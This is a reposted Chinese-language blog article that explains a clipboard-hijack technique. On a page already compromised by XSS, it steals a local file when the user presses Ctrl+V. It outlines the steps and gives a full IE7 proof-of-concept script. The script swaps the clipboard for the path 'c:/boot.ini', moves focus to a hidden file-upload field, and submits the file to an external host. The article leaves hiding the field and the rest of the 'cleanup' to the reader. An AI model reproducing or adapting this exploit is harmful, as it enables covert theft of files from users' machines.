首先說一下通過Javascript Paste Keyboard Shortcuts Hijack能做什麼???能夠讀取你本地機器任何文件! 沒錯!也就是說 你中了任何一個XSS 加上你按了粘貼快捷鍵後,你就有可能被別人讀取你機上任何的文件!
那到底是什麼回事呢? OK 我慢慢來說
首先 我們知道JS是無權限獲讀取你本地任何文件的... 那麼我們必須要讓用戶上傳自己的文件!
怎麼讓用戶上傳呢? 很簡單! 通過 <input type=file > 這樣就能讓用戶上傳文件了!
現在又一個問題是, input 為file的時候 value的值 不能用代碼set進去!必須要讓用戶自己填寫! 必須要通過人機交互!
其實說到這裡!聰明的你大致也應該明白怎麼回事! 接著說! 用戶不可能把自己的文件填寫上去提交給你看的吧?
沒錯~ 那麼 就等待用戶 進行快捷鍵粘貼的時候 哈哈~~說說步驟
1. 判斷是否 進行 ctrl + v
2. 替換粘貼板
3. 光標切換到 文件上傳
4. 善後工作就交給你了 ( 例如如何把上傳textbox透明化,當前頁面不會因表單提交而跳轉 )
IE7 下的 POC :
<HTML> <HEAD> <TITLE> Javascript Paste Keyboard Shortcuts Hijack </TITLE> </HEAD> <body onkeydown="temp()"> <input> <form action="http://learnns.blogspot.com/" method=post name=s> <input id=kj_filehijack type=file name=fhijack> </form> <script> function temp() { if(event.ctrlKey){ if(event.keyCode==86){ window.clipboardData.setData("text","c:/boot.ini"); document.getElementById('kj_filehijack').focus(); document.s.submit(); } } } </script> </BODY> </HTML>
註: 本文轉載自網路 非原創
轉載自 QuantumIntelligence 原文